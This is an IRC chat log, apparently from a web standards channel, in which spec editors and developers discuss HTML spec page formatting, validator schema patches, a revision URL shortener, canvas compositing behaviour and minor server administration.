[16:37:00.0000] <benschwarz>
so if <h2 class="no-num no-toc">7 January 2011</h2> could be a <time> or something?

[16:37:01.0000] <benschwarz>
its not really a header, in my mind

[16:37:02.0000] <Hixie>
oh, i see

[16:37:03.0000] <Hixie>
i can put it in a <p> after the <hgroup> if you like

[16:38:00.0000] <benschwarz>
sure… that will work

[16:38:01.0000] <benschwarz>
Are you not wanting to use <time> because of the other specs that have to be generated?

[16:39:00.0000] <Hixie>
i'm mostly reluctant to use <time> because i don't want to try to figure out how to get anolis to output an ISO8601 date :-)

[16:39:01.0000] <benschwarz>
Hixie: I guessed that, now you know the plight of other web developers :)

[16:40:00.0000] <Hixie>
i'm not really a fan of <time> in general

[16:40:01.0000] <Hixie>
but that's another story

[16:40:02.0000] <Hixie>
do you want the date on every page, or just the front page?

[16:40:03.0000] <benschwarz>
just the front

[16:41:00.0000] <Hixie>
regenning

[16:53:00.0000] <Hixie>
benschwarz: if you're still around, the file is ready

[16:54:00.0000] <benschwarz>
Hixie: ha! "make clean && make && ./deploy.sh" is my new friend

[16:56:00.0000] <benschwarz>
deployed…

[16:56:01.0000] <benschwarz>
it needs more love… I'll get to it

[16:56:02.0000] <benschwarz>
okay. I really have to go this time.

[16:57:00.0000] <Hixie>
later!

[17:19:00.0000] <cying>
is it okay to set arbitrary attributes on DOM node elements?

[17:19:01.0000] <cying>
(in Javascript)

[17:22:00.0000] <benschwarz>
Hixie: can you make the header read "Edition for Web Developers"

[17:53:00.0000] <Hixie>
benschwarz: done, regenning. should be up in a few minutes.

[19:11:00.0000] <Hixie>
Web DOM Core says INVALID_MODIFICATION_ERR is "historical", does that mean I shouldn't use it?

[19:12:00.0000] <Hixie>
what exception should I use for when you call event.dataTransfer.items.add('foo', 'bar') when there is already a 'foo' in the list?

[19:13:00.0000] <Hixie>
er, already a 'bar' in the list

[19:15:00.0000] <Hixie>
man, the dnd section is so much better now than it used to be

[19:28:00.0000] <benschwarz>
Hixie: see the toc?

[00:11:00.0000] <jgraham>
/me wonders if the author view stylesheet license is compatible with the spec license

[00:17:00.0000] <paul_irish>
jgraham: if it isnt already public domain, ben wouldnt have a problem PD'ing it

[00:27:00.0000] <Hixie>
benschwarz: toc?

[00:27:01.0000] <Hixie>
jgraham: why would they need to be compatible?

[00:36:00.0000] <benschwarz>
Hixie: check the live copy…

[00:44:00.0000] <benschwarz>
Hixie: I was hoping to get a password-less login happening on whatwg

[00:45:00.0000] <benschwarz>
I uploaded my keys, but not working– Anything in the config I should know about?

[00:45:01.0000] <zcorpan>
Hixie: so is web database "Dead Standard"? :)

[00:48:00.0000] <MikeSmith>
benschwarz: you ssh directory is world readable

[00:52:00.0000] <MikeSmith>
hmm

[00:53:00.0000] <MikeSmith>
and there's no key in your .ssh dir

[00:57:00.0000] <jgraham>
Hixie: I imagine someone might assume that the right to fork the spec also covers the stylesheet

[01:17:00.0000] <MikeSmith>
david_carlisle: regarding your message a while back about href, I agree

[01:18:00.0000] <MikeSmith>
I think for that validator we should allow it

[01:19:00.0000] <MikeSmith>
I have a validator patch ready for switching to your mml2-subset-of-mml2 schema, but I need for Henri to review and OK it before I commit it

[01:23:00.0000] <david_carlisle>
MikeSmith: OK, thanks, then I guess I should do same in the copy I stuck on the w3c server

[01:24:00.0000] <MikeSmith>
yeah

[01:24:01.0000] <MikeSmith>
that'd actually be better

[01:24:02.0000] <MikeSmith>
because as part of the patch, I wrote a makefile that just grabs your source

[01:25:00.0000] <MikeSmith>
so if/when you make changes upstream, I can just run that to build the version for the validator

[01:25:01.0000] <david_carlisle>
ha ha so I now have ultimate power and if I add content mathml

[01:25:02.0000] <david_carlisle>
and docbook

[01:25:03.0000] <david_carlisle>
and xforms

[01:25:04.0000] <MikeSmith>
heh

[01:25:05.0000] <david_carlisle>
and rdf/xml

[01:25:06.0000] <david_carlisle>
it'll all make it's way on to the web?

[01:26:00.0000] <david_carlisle>
sorry, just got in. need coffee

[01:26:01.0000] <MikeSmith>
/me needs some green tea

[01:28:00.0000] <MikeSmith>
david_carlisle: the validator version necessarily is a patched version of your source

[01:28:01.0000] <MikeSmith>
because of some cases of conflicts in relaxng patterns names used

[01:29:00.0000] <david_carlisle>
I could fix that, where are the patches?

[01:29:01.0000] <MikeSmith>
https://bitbucket.org/validator/validator-patches/qseries?apply=t&qs_apply=mathml2-update

[01:29:02.0000] <david_carlisle>
probably will look over weekend

[01:30:00.0000] <MikeSmith>
the raw patch is here: https://bitbucket.org/validator/validator-patches/raw/ba32f45e8515/mathml2-update

[01:30:01.0000] <MikeSmith>
there are some changes other than just the name changes

[01:30:02.0000] <MikeSmith>
stuff that's necessarily for making it integrate-able into the HTML5 schema

[01:31:00.0000] <MikeSmith>
and due to the way it handles annotation-xml

[01:31:01.0000] <david_carlisle>
don't get me started on the way html5 handles annotation-xml _;)

[01:35:00.0000] <MikeSmith>
heh

[01:35:01.0000] <MikeSmith>
david_carlisle: that patch is for several files but I think the main one of interest to you is just the part that adds the "schema/mml2/patch-vnu" file

[01:36:00.0000] <MikeSmith>
that includes comments for all the changes

[01:37:00.0000] <MikeSmith>
e.g., "++# changed datatype of id attr from ID to w:xml-name -- mike"

[01:37:01.0000] <MikeSmith>
so actually it would be great if you could review those at some point and let me know if you are OK with them

[01:37:02.0000] <david_carlisle>
yes thanks had a quick look through the raw patch data, but probably can't actually do anything with it till later

[01:39:00.0000] <MikeSmith>
ok

[02:01:00.0000] <hsivonen>
MikeSmith: does your patch remove the old MathML2 schema files? I see you only removing them from entity-map.txt.

[02:01:01.0000] <MikeSmith>
hsivonen: it does not remove them but I suppose it should

[02:02:00.0000] <hsivonen>
MikeSmith: do I read correctly that you implemented the same annotation-xml content model that I had implemented on top of the old MathML 2 schema?

[02:02:01.0000] <MikeSmith>
yes

[02:02:02.0000] <hsivonen>
MikeSmith: ok. r=hsivonen for landing it.

[02:02:03.0000] <MikeSmith>
cheers

[02:03:00.0000] <MikeSmith>
got another minor htmlparser refinement for the open-elements reporting

[02:05:00.0000] <MikeSmith>
https://bitbucket.org/validator/htmlparser-patches/qseries?apply=t&qs_apply=report-unclosed-for-eof

[02:05:01.0000] <MikeSmith>
and raw patch at https://bitbucket.org/validator/htmlparser-patches/raw/e5f6f9c4a410/report-unclosed-for-eof

[02:06:00.0000] <MikeSmith>
hsivonen: for fixing the case of open title, script, style elements

[02:06:01.0000] <MikeSmith>
which zcorpan pointed out

[02:06:02.0000] <hsivonen>
MikeSmith: r=hsivonen, although I'd prefer commit messages to start with a capital letter and end with a period to conform with hg.mozilla.org style.

[02:07:00.0000] <MikeSmith>
ok

[02:07:01.0000] <hsivonen>
MikeSmith: would you like me to push directly to hg.mozilla.org, or do you prefer to land to bitbucket first?

[02:08:00.0000] <MikeSmith>
please push directly to hg.mozilla.org

[02:08:01.0000] <hsivonen>
ok

[02:08:02.0000] <MikeSmith>
I don't push to the bitbucket repo for htmlparser except for just that separate patch queue for it

[02:09:00.0000] <annevk>
heh, someone highlighted my todo list in the logs

[02:09:01.0000] <MikeSmith>
the repo itself gets mirrored from whatever is at hg.mozilla.org

[02:09:02.0000] <zcorpan>
MikeSmith: awesome :)

[02:10:00.0000] <zcorpan>
MikeSmith: i didn't find any further bugs when testing briefly the other day

[02:10:01.0000] <MikeSmith>
ok

[02:10:02.0000] <MikeSmith>
but note that Henri made a further refinement yesterday also

[02:11:00.0000] <MikeSmith>
to prevent duplicate error messages

[02:11:01.0000] <MikeSmith>
zcorpan: I pushed that and this update to http://www.w3.org/html/check already

[02:11:02.0000] <hsivonen>
MikeSmith: pushed. http://hg.mozilla.org/projects/htmlparser/rev/0b9e1ee721df

[02:11:03.0000] <MikeSmith>
hsivonen: thanks

[02:12:00.0000] <MikeSmith>
I think people are going to really like having this

[02:13:00.0000] <hsivonen>
yeah, I expect so

[02:13:01.0000] <MikeSmith>
and maybe having the locators in the stack will prove useful for other stuff

[02:13:02.0000] <zcorpan>
yeah, this immediately doubled the usability of the validator

[02:16:00.0000] <MikeSmith_>
zcorpan: hey, I was thinking last night about another open bug that you reported some time ago

[02:16:01.0000] <MikeSmith_>
the one about all the attribute names being listed for input elements

[02:17:00.0000] <MikeSmith_>
I think a better way to handle that might be in the javascript for the Web UI

[02:18:00.0000] <MikeSmith_>
this bug, I mean http://bugzilla.validator.nu/show_bug.cgi?id=339

[02:18:01.0000] <MikeSmith_>
we wouldn't need to scrape the spec

[02:20:00.0000] <MikeSmith>
on the backend

[02:21:00.0000] <MikeSmith>
would instead need to have the javascript scrape the error message and the remove whichever <li>s need to me removed

[02:24:00.0000] <MikeSmith>
would not be so pretty but it's going to be kind of ugly regardless of where it's handled (backend/build or the UI)

[02:26:00.0000] <zcorpan>
MikeSmith: it wouldn't work so well with the group messages feature

[02:26:01.0000] <MikeSmith>
ah

[02:27:00.0000] <zcorpan>
MikeSmith: another thing i noticed just now. <input max="1"> has less useful message than <input type="text" max="1"> even though they're semantically equivalent

[02:28:00.0000] <zcorpan>
MikeSmith: maybe that's not a common problem though

[02:29:00.0000] <MikeSmith>
what would be better for the <input max="1"> case?

[02:31:00.0000] <zcorpan>
to say that max is not allowed for the "Text" state

[02:31:01.0000] <MikeSmith>
ah

[02:32:00.0000] <MikeSmith>
the thing is, the schema doesn't default it to the text state

[02:32:01.0000] <MikeSmith>
no attribute defaulting in relaxng

[02:34:00.0000] <MikeSmith>
so the relaxng backend at least does not know that those two cases are but type="text"

[02:34:01.0000] <annevk>
schemas really have a lot of limitations

[02:50:00.0000] <david_carlisle>
annevk: they do, but that one is a limitation of this schema rather than of relaxng, i would guess?

[02:51:00.0000] <annevk>
dunno

[02:51:01.0000] <annevk>
it seems that for useful error messages not having schemas would make things easier

[02:51:02.0000] <hsivonen>
david_carlisle: many of the limitations of "schemas" are limitations of Jing

[02:52:00.0000] <annevk>
but I'm not sure how much more complex it would be

[02:52:01.0000] <david_carlisle>
everything is james' fault, i agree

[02:52:02.0000] <annevk>
well that is, you need custom code anyway, so...

[02:53:00.0000] <david_carlisle>
annevk: perhaps, but it's harder to drive a context sensitive editor from a load of custom java code

[02:54:00.0000] <hsivonen>
david_carlisle: the way this has been addressed so far is by punching more and more holes into the RELAX NG schemas (making them less useful for oXygen, nxml-mode, etc.) and filling the holes with custom Java code

[02:54:01.0000] <david_carlisle>
:-)

[02:54:02.0000] <MikeSmith>
generic validation tools produce generic error messages

[02:55:00.0000] <david_carlisle>
but if the schemas are useful for editors, people don't make errors, then the validator never need report anything, or something....

[02:55:01.0000] <david_carlisle>
but i guess you will tell me Hixie managed to find an example of an invalid html file in the wild

[02:56:00.0000] <MikeSmith>
(or rather "general-purpose validation" tools)

[02:57:00.0000] <david_carlisle>
MikeSmith: I agree really, and think validator.nu or schematron really produce much better error messages for real people

[02:58:00.0000] <david_carlisle>
schema validation (like dtd) is best viewed as binary pass fail, the error message returned (if any) is often as not misleading as it reports things as seen by the validators internal state rather than what was in the file

[02:58:01.0000] <MikeSmith>
indeed

[02:58:02.0000] <david_carlisle>
but I still use dtd every day anyway

[02:59:00.0000] <MikeSmith>
what for?

[02:59:01.0000] <david_carlisle>
cause I need food

[02:59:02.0000] <MikeSmith>
heh

[03:00:00.0000] <MikeSmith>
"f your desires are not great, a little will seem much to you; for small appetite makes poverty equivalent to wealth."

[03:02:00.0000] <MikeSmith>
david_carlisle: btw, your existing http://www.w3.org/Math/RelaxNG/mathml3-restricted/ schema seems to already allow href

[03:03:00.0000] <MikeSmith>
in CommonAtt

[03:03:01.0000] <annevk>
david_carlisle, people make errors and typically do not use schemas :)

[03:04:00.0000] <david_carlisle>
annevk:  you don't say:-)

[03:05:00.0000] <david_carlisle>
MikeSmith: does it? oops will check, i was experimenting with or without at one point but I thought I'd checked it in as we'd agreed without href, but will check while I'm looking at pulling in your other diffs

[03:06:00.0000] <MikeSmith>
ok

[03:54:00.0000] <annevk>
you can now go back from http://html5.org/tools/web-apps-tracker?from=5743&to=5744 to the overview page by clicking the heading

[03:54:01.0000] <annevk>
I also removed "Revision" from the title

[03:54:02.0000] <annevk>
and 410'd web-forms-tracker

[03:59:00.0000] <MikeSmith>
nice

[04:00:00.0000] <MikeSmith>
annevk: it would be nice to just be able to have also have a URL with single revision number

[04:00:01.0000] <MikeSmith>
http://html5.org/tools/web-apps-tracker?r=5744 or whatever

[04:01:00.0000] <annevk>
I'm not following what Sam is going on about again :/

[04:01:01.0000] <MikeSmith>
which would just give the same thing as http://html5.org/tools/web-apps-tracker?from=5743&to=5744

[04:02:00.0000] <annevk>
what is the upside?

[04:02:01.0000] <annevk>
just shorter URLs?

[04:04:00.0000] <annevk>
hmm, found a mirror: http://kerouanen.appspot.com/html5.org/tools/web-apps-tracker

[04:05:00.0000] <annevk>
but the mirror is broken

[04:15:00.0000] <MikeSmith>
annevk: shorter

[04:15:01.0000] <MikeSmith>
but actually could be even more shorter

[04:15:02.0000] <MikeSmith>
http://html5.org/r/5744 for example

[04:16:00.0000] <annevk>
aah, as a URL shortener?

[04:16:01.0000] <annevk>
where would you use them?

[04:16:02.0000] <annevk>
I will try to make something like that

[04:16:03.0000] <MikeSmith>
in tweets or whatever I guess

[04:16:04.0000] <MikeSmith>
cool

[04:17:00.0000] <MikeSmith>
david_carlisle: validator.nu repo now has the new MathML schema

[04:18:00.0000] <MikeSmith>
and I pushed it to http://www.w3.org/html/check for testing

[04:18:01.0000] <MikeSmith>
so if/when you have time, please try some test cases on it

[04:20:00.0000] <david_carlisle>
MikeSmith: thanks

[04:21:00.0000] <MikeSmith>
I have a couple more patches I need for Henri to review, but after I get those reviewed and checked in, hopefully Henri can re-redeploy http://validator.nu and after that I will also update the HTML5 backend on validator.w3.org so that we can have those in sync

[04:21:01.0000] <MikeSmith>
within the next week or so

[04:21:02.0000] <hsivonen>
MikeSmith: which other patches?

[04:22:00.0000] <MikeSmith>
hsivonen: one is https://bitbucket.org/validator/syntax-patches/qseries?apply=t&qs_apply=script-checker

[04:23:00.0000] <MikeSmith>
for checking text content of <script></script> and <script src=foo></script>

[04:25:00.0000] <MikeSmith>
but note that it does not implement checking for all the constraints in the ABNF at http://www.whatwg.org/specs/web-apps/current-work/complete/scripting-1.html#restrictions-for-contents-of-script-elements

[04:25:01.0000] <MikeSmith>
it only intentionally only checks at this point for "<!--" without a matching "-->"

[04:26:00.0000] <MikeSmith>
and for proper "//" "/* */" comments in the <script src=foo></script> case

[04:55:00.0000] <annevk>
MikeSmith, it now works

[04:55:01.0000] <annevk>
MikeSmith, you can also do http://html5.org/r/4000-4010

[04:56:00.0000] <webr3>
annevk, that's handy

[04:57:00.0000] <annevk>
now all that needs changing is that instead of showing "Filter" on the DIFF page it shows a short URL there instead

[05:39:00.0000] <annevk>
what is it with the twitter tooltips for URLs and adding inappropriate slashes?

[05:40:00.0000] <zcorpan>
http://whoisryannystrom.com/tests/webcontrol/ is cool

[05:40:01.0000] <annevk>
btw the pages now link back to the short URL

[05:40:02.0000] <annevk>
http://html5.org/r/1143

[05:40:03.0000] <annevk>
"No websocket or canvas support, SORRY."

[05:42:00.0000] <matjas>
zomg, the `/` after `r` is redundant!!11eleven

[05:43:00.0000] <zcorpan>
matjas: the 'r' is redundant too?

[05:43:01.0000] <matjas>
yeah in a way

[05:44:00.0000] <matjas>
now if only @whatwg would start tweeting again, those sexy short URLs could be put to use :)

[05:44:01.0000] <annevk>
too late?

[05:44:02.0000] <matjas>
it’s never too late for some hot 301 lovin’

[05:45:00.0000] <annevk>
mwah, two characters

[05:45:01.0000] <matjas>
doesn’t matter much anyway

[05:45:02.0000] <annevk>
someone first get me html.org :)

[05:45:03.0000] <annevk>
or ht.ml

[05:45:04.0000] <annevk>
or .html

[05:45:05.0000] <Lachy>
what ccTLD is .ml?

[05:45:06.0000] <annevk>
then ill make http://html/1143 work

[05:45:07.0000] <zcorpan>
annevk: just register the html:// protocol and get it implemented

[05:46:00.0000] <annevk>
Lachy, Mali

[05:46:01.0000] <Lachy>
hmm, I wonder what the requirements for registering one are?

[05:46:02.0000] <annevk>
Lachy, but you cannot get directly under it

[05:46:03.0000] <zcorpan>
then use html:1143

[05:46:04.0000] <Lachy>
oh

[05:46:05.0000] <annevk>
zcorpan, profit

[05:49:00.0000] <annevk>
matjas, yeah we should totally fix the twitter feed

[05:49:01.0000] <zcorpan>
annevk: you could represent the revision number in base 64 to make it shorter

[05:49:02.0000] <matjas>
and then rot13 it for the lulz

[05:49:03.0000] <annevk>
no and no

[05:50:00.0000] <matjas>
annevk: did the python script i found last time not work?

[05:50:01.0000] <annevk>
I don't think we hooked it up

[05:50:02.0000] <annevk>
Admittedly I also forgot the password to the twitter account

[05:50:03.0000] <matjas>
FFFFFFFUUUUUU—

[05:51:00.0000] <annevk>
Not sure if I have time tonight but maybe Hixie can give me the details and I can set up a script on html5.org that he pings with a message and revision number

[05:52:00.0000] <annevk>
@WHATWG has a lot of followers but currently it is not very useful

[05:55:00.0000] <annevk>
matjas, was it http://code.google.com/p/python-twitter/ ?

[05:55:01.0000] <matjas>
nope, but this looks pretty good

[05:57:00.0000] <annevk>
not exactly simple

[05:57:01.0000] <annevk>
http://code.google.com/p/python-twitter/source/browse/examples/tweet.py

[05:59:00.0000] <annevk>
oh

[05:59:01.0000] <annevk>
that's just a lot of boilerplate

[05:59:02.0000] <annevk>
it comes down to

[05:59:03.0000] <annevk>
 status = api.PostUpdate(message)

[05:59:04.0000] <annevk>
and creating api

[06:00:00.0000] <annevk>
miketaylr, did you co-create python-twitter?

[06:00:01.0000] <matjas>
requires authentication though

[06:01:00.0000] <matjas>
looks like it’s another Mike Taylor, codenamed bear42

[06:03:00.0000] <annevk>
don't they all require authentication of some kind?

[06:03:01.0000] <annevk>
seems quite clear you need to use OAuth

[06:04:00.0000] <annevk>
somewhat overkill for stuff like this I think, but whatever

[06:05:00.0000] <miketaylr>
annevk:  haha no, it was the smart mike taylor

[06:09:00.0000] <annevk>
wait what

[06:09:01.0000] <annevk>
and we hired you?

[06:09:02.0000] <miketaylr>
shhh

[06:09:03.0000] <annevk>
;p

[06:09:04.0000] <miketaylr>
>_>

[06:10:00.0000] <matjas>
miketaylr: /nick bear43

[06:11:00.0000] <annevk>
I'll email Hixie asking for the details

[06:12:00.0000] <matjas>
annevk: yay!

[06:12:01.0000] <matjas>
annevk: looks like there’s a missing </code> after “Short URL:” on pages like http://html5.org/tools/web-apps-tracker?from=5746&to=5747

[06:14:00.0000] <matjas>
are you relying on proper parsing/error handling as per HTML5?

[06:16:00.0000] <annevk>
I used + instead of +=

[06:16:01.0000] <annevk>
fixed now

[06:20:00.0000] <zcorpan>
annevk: localStorage["tracker-" + ""] should be localStorage["tracker-" + name] ?

[06:25:00.0000] <annevk>
something like that, yes :/

[06:25:01.0000] <annevk>
if it's been broken for so long

[06:25:02.0000] <annevk>
maybe I should just nuke that?

[06:26:00.0000] <annevk>
for me it has been broken since revision 5280

[07:00:00.0000] <annevk>
Ms2ger, thanks for doing a few things with the encoding data

[07:01:00.0000] <annevk>
Ms2ger, added a comment to the bug hoping to sway Simon

[07:01:01.0000] <Ms2ger>
Thanks, I was hoping you would :)

[07:05:00.0000] <zcorpan>
/me switches to developers.whatwg.org for http://simon.html5.org/html5-elements

[07:06:00.0000] <zcorpan>
benschwarz: if you have a style sheet to make html5-elements match the style of developers.whatwg.org i'd be happy to apply it

[07:07:00.0000] <zcorpan>
benschwarz: btw the color of the headings is not so great contrast

[07:08:00.0000] <zcorpan>
or the <dt>s rather

[07:13:00.0000] <erlehmann>
The WHATWG is committed to the well being of all participants. Cake and grief counseling will be available at the conclusion of the specification. Thank you for helping us help you help us all.

[07:16:00.0000] <erlehmann>
zcorpan, that is a nice site. but the light blue color really should be changed to enhance the contrast level.

[08:49:00.0000] <AryehGregor>
Hixie, what are the beforeundo and beforeredo events, exactly?  Googling them seems to yield no info.

[08:57:00.0000] <AryehGregor>
(if anyone else knows, that would be helpful too)

[08:58:00.0000] <annevk>
maybe you should search for them with the prefix "on"

[08:58:01.0000] <annevk>
I believe the idea is that using them you can make sure the undo/redo UI is highlighted appropriately, or some such

[08:59:00.0000] <annevk>
sort of similar to beforecopy et al

[08:59:01.0000] <AryehGregor>
I did search for them with the prefix "on".

[08:59:02.0000] <AryehGregor>
I got some Dojo stuff.

[08:59:03.0000] <Workshiva>
Have you checked MSDN?

[09:02:00.0000] <AryehGregor>
I don't seem to see anything there.

[10:48:00.0000] <annevk>
hmm, WHATWG blog is pretty much dead

[10:49:00.0000] <Ms2ger>
Write something about encodings there :)

[10:51:00.0000] <annevk>
yeah, could do

[10:51:01.0000] <annevk>
guess I'll write a post once I fix the twitter account

[10:55:00.0000] <dglazkov>
Hixie: yt?

[10:56:00.0000] <dglazkov>
interesting question about querySelector behavior and XBL2 pseudo-element matching

[10:57:00.0000] <dglazkov>
currently, we're supposed to throw a SYNTAX_ERR if the pseudo-element is unknown. Well, that's no longer reasonable once we introduce the ability to define arbitrary strings as pseudo-elements.

[10:57:01.0000] <dglazkov>
should we:

[10:57:02.0000] <dglazkov>
1) change querySelector behavior to not throw on unknown pseudo-elements

[10:58:00.0000] <Ms2ger>
Pseudo-elements or pseudo-classes?

[10:58:01.0000] <dglazkov>
2) throw SYNTAX_ERR when the pseudo-element in the query was not matched for the given query

[10:58:02.0000] <dglazkov>
oooh

[10:59:00.0000] <dglazkov>
3) since they are in the shadow DOM anyway, we should keep always throwing SYNTAX_ERR when unknown pseudo-element is encountered

[11:00:00.0000] <dglazkov>
Ms2ger: pseudo-elements: http://dev.w3.org/2006/xbl2/#the-pseudo-attribute

[11:00:01.0000] <dglazkov>
I think I'll implement #3 for now

[11:17:00.0000] <annevk>
dglazkov, pseudo-elements are anonymous boxes, I don't think they should get exposed to script

[11:17:01.0000] <annevk>
(even when they are in fact elements in an XBL binding)

[11:28:00.0000] <dglazkov>
annevk: so #3 seems like the right choice?

[11:28:01.0000] <annevk>
yeah

[11:28:02.0000] <annevk>
I think I had XBL in mind already when designing that part of querySelector

[11:33:00.0000] <Hixie>
ok here now

[11:36:00.0000] <annevk>
oh hey

[11:36:01.0000] <annevk>
see some email about twitter in your inbox

[11:37:00.0000] <Hixie>
k

[11:37:01.0000] <Hixie>
got it

[11:38:00.0000] <cszabo1>
Hixie, did you follow my discussion with Robert O'Callahan about the drawing model on canvas?

[11:38:01.0000] <Hixie>
where was the discussion?

[11:38:02.0000] <cszabo1>
on whatwg-mailing list

[11:38:03.0000] <Hixie>
i guarantee a reply to all spec feedback on the whatwg list

[11:39:00.0000] <Hixie>
(unless it just repeats something that was said earlier)

[11:39:01.0000] <Hixie>
so yes, and i'll reply in due course... i can take a look now though if you need a reply sooner

[11:40:00.0000] <cszabo1>
Hixie, OK, I will just be patient. I was raising among other things, an issue with shadows not being drawn for compositing modes such as copy in the current model.

[11:40:01.0000] <Hixie>
oh, right, the compositing thread

[11:41:00.0000] <Hixie>
i'm basically happy to spec whatever is (a) implemented and (b) described to me in terms i can put in the spec

[11:41:01.0000] <Hixie>
i unfortunately am not qualified to really describe what browsers do from reverse engineering -- my graphics knowledge is lacking

[11:41:02.0000] <Hixie>
otherwise i'd just reverse engineer the browsers and spec that

[11:45:00.0000] <Hixie>
annevk: replied. Does anyone actually care though? Given how few complaints we got when it broke (the earliest being months later), it's not clear to me that Twitter messages are helpful here.

[11:48:00.0000] <Ms2ger>
People might not notice if it's gone, but still appreciate it when they do see it, though

[11:49:00.0000] <Hixie>
fair enough

[12:02:00.0000] <cszabo1>
Hixie, do you know whether Microsoft agrees to the current behavior or wants something more along what WebKit does? I heard both versions so far. If Mozilla, Opera and IE behave like the spec says, and they are happy with that, probably WebKit should do the same.

[12:06:00.0000] <Philip`>
cszabo1: http://lists.w3.org/Archives/Public/public-canvas-api/2010OctDec/0070.html is what they've said

[12:11:00.0000] <jamesr_>
afaik they haven't actually released an implementation of any compositing modes other than source-over so far

[12:12:00.0000] <Philip`>
Yeah, their preview releases have skipped it so far

[12:13:00.0000] <jamesr_>
and fwiw i agree that it would make sense for WebKit to change to the currently spec'd behavior if IE does, even though i think it's kind of dumb

[12:13:01.0000] <Philip`>
If they implement it to pass the current test cases then they should end up with behaviour like Opera (and like Firefox with fewer bugs, I think)

[12:13:02.0000] <Philip`>
and they haven't asked for those test cases to be changed at all

[12:14:00.0000] <cszabo1>
I have just tested the "copy" globalCompositeOperation as it relates to shadows being shown on Firefox and it appears to work not as speced, but according to my proposal, that is: shadows are shown if specified.

[12:16:00.0000] <Philip`>
Hmm, I'm probably missing a test for that one

[12:19:00.0000] <jamesr_>
last i checked ffx doesn't perfectly implement the non-default globalCompositeOperations in all corner cases

[12:23:00.0000] <Ms2ger>
Please file bugs, if Philip` hasn't yet :)

[12:24:00.0000] <Philip`>
/me hasn't bothered filing any bugs any time recently

[12:25:00.0000] <annevk>
so at one point I installed my own version of Python because Dreamhost was lagging behind

[12:25:01.0000] <annevk>
is there a way to remove that again?

[12:25:02.0000] <Philip`>
Just look for failures in http://test.w3.org/html/tests/submission/PhilipTaylor/canvas/index.2d.composite.html if you want :-)

[12:26:00.0000] <Philip`>
annevk: Delete it from your home directory, if that's where it got installed?

[12:26:01.0000] <Philip`>
maybe in ~/lib or similar

[12:26:02.0000] <annevk>
It's in ~/opt/lib/

[12:27:00.0000] <annevk>
however I'm afraid to break things

[12:27:01.0000] <annevk>
e.g. anolis is there too

[12:27:02.0000] <Philip`>
Ah

[12:27:03.0000] <AryehGregor>
Some of the spam bugs are just fascinating: http://www.w3.org/Bugs/Public/show_bug.cgi?id=11695

[12:27:04.0000] <annevk>
the main problem I'm having right now is that for some reason md5 support is breaking

[12:28:00.0000] <annevk>
these are the last four lines:

[12:28:01.0000] <annevk>
    md5 = __get_builtin_constructor('md5')

[12:28:02.0000] <annevk>
  File "/home/annevk/opt//lib/python2.5/hashlib.py", line 60, in __get_builtin_constructor

[12:28:03.0000] <annevk>
    import _md5

[12:28:04.0000] <annevk>
ImportError: No module named _md5

[12:28:05.0000] <annevk>
I think this is the main thing I hate about Python

[12:28:06.0000] <Philip`>
If you want an easily reversible way, you could remove PATH/PYTHONPATH etc from wherever they're set (maybe ~/.bashrc) so it always runs the default Python instead

[12:29:00.0000] <annevk>
installing frigging dependencies all the time and nothing ever working straight

[12:29:01.0000] <AryehGregor>
The mojibake is asking things like "How many spearmen do you have?" and so on, followed by reports "Your soldiers are worth X generals", "Your navy is worth Y generals", "Your military is worth X + Y generals", then "Credit to eliranisrael, author of the code."  In Hebrew.

[12:30:00.0000] <AryehGregor>
a) What is that program supposed to do?  b) How did it end up being submitted as spam.

[12:30:01.0000] <AryehGregor>
?

[12:30:02.0000] <annevk>
Philip`, nothing in .bashrc or .bash_profile

[12:32:00.0000] <Philip`>
AryehGregor: http://board.ikariam.co.il/print.php?threadid=80228&page=1

[12:32:01.0000] <Philip`>
Sounds like it's for the game Ikariam

[12:32:02.0000] <AryehGregor>
Well, Googling is one strategy, yeah.

[12:32:03.0000] <AryehGregor>
Sometimes I forget that.

[12:33:00.0000] <cszabo1>
Philip`, Hixie, Here is a simple test proposal: http://waplabdc.nokia-boston.com/browser/users/caszabo/shadow/index.htm and the spec change to go with it is in this thread: http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2011-January/029658.html

[12:33:01.0000] <Ms2ger>
AryehGregor, you didn't get the memo that Google is not a verb? ;)

[12:35:00.0000] <AryehGregor>
Ms2ger, I'm not an employee, I'm just providing them with some service as an external vendor.  So I don't get their memos.

[12:35:01.0000] <Philip`>
The bug was posted by someone who uses an ISP that looks Hebrewish

[12:35:02.0000] <AryehGregor>
/me is pretty sure he's observed Google employees using "Google" as a verb, anyway

[12:35:03.0000] <Philip`>
Maybe it's not spam, maybe they happened to have that program on the clipboard then accidentally ctrl+v+entered it into the spec

[12:36:00.0000] <AryehGregor>
Well, so then it's accidental spam.

[12:36:01.0000] <AryehGregor>
/me finds it funny to read conversations like this in Hebrew, which he normally only sees in liturgy and rabbinic texts

[12:36:02.0000] <AryehGregor>
One guy wrote it in Java, another one wants it in C#.  Someone else thinks it should go on a webpage, and of course someone has to point out that Java and JS are actually two totally different languages.

[12:37:00.0000] <AryehGregor>
Oh, it was the guy who wrote it who thought Java was JavaScript, so he wanted it for a webpage.

[12:39:00.0000] <Ms2ger>
And now he thought we'd explain him how to rewrite it with canvas?

[12:39:01.0000] <AryehGregor>
Ah, that's probably it.  Someone was probably trying to figure out how to do it in HTML and got directed to the HTML5 spec by mistake.

[12:40:00.0000] <Ms2ger>
Still, INVALID

[12:40:01.0000] <AryehGregor>
Yeah, I'll back you up on that one.

[12:40:02.0000] <Philip`>
Surely we should rewrite it into JS for him and then reply on the forum

[12:41:00.0000] <AryehGregor>
That would be nice.

[12:41:01.0000] <AryehGregor>
It might make them submit more bugs in that vein, though, which wouldn't be nice to the other HTMLWG members.

[12:41:02.0000] <Ms2ger>
Then the next one will make his bug into an ISSUE

[12:41:03.0000] <AryehGregor>
That would be pretty funny, actually.

[12:42:00.0000] <Ms2ger>
You mean, like, Julian-funny?

[12:42:01.0000] <AryehGregor>
I imagine the chairs would agree to summarily dismiss such an issue.  Which reference is used for ASCII they might feel compelled to treat as a serious issue for the form of things, but a code rewriting request service might be a little much for them.

[12:42:02.0000] <AryehGregor>
But who knows?

[12:43:00.0000] <annevk>
Philip`, so it seems I have no need for Anolis

[12:43:01.0000] <annevk>
Philip`, can I then simply nuke the contents of that folder?

[12:43:02.0000] <Ms2ger>
You did see his codepoint issue, right, AryehGregor?

[12:43:03.0000] <Philip`>
annevk: I'd suggest renaming it out of the way, and then making sure nothing catastrophic happens

[12:44:00.0000] <Philip`>
but otherwise that probably ought to be sufficient

[12:44:01.0000] <AryehGregor>
Julian's?

[12:44:02.0000] <AryehGregor>
The one about presentation of the code points?

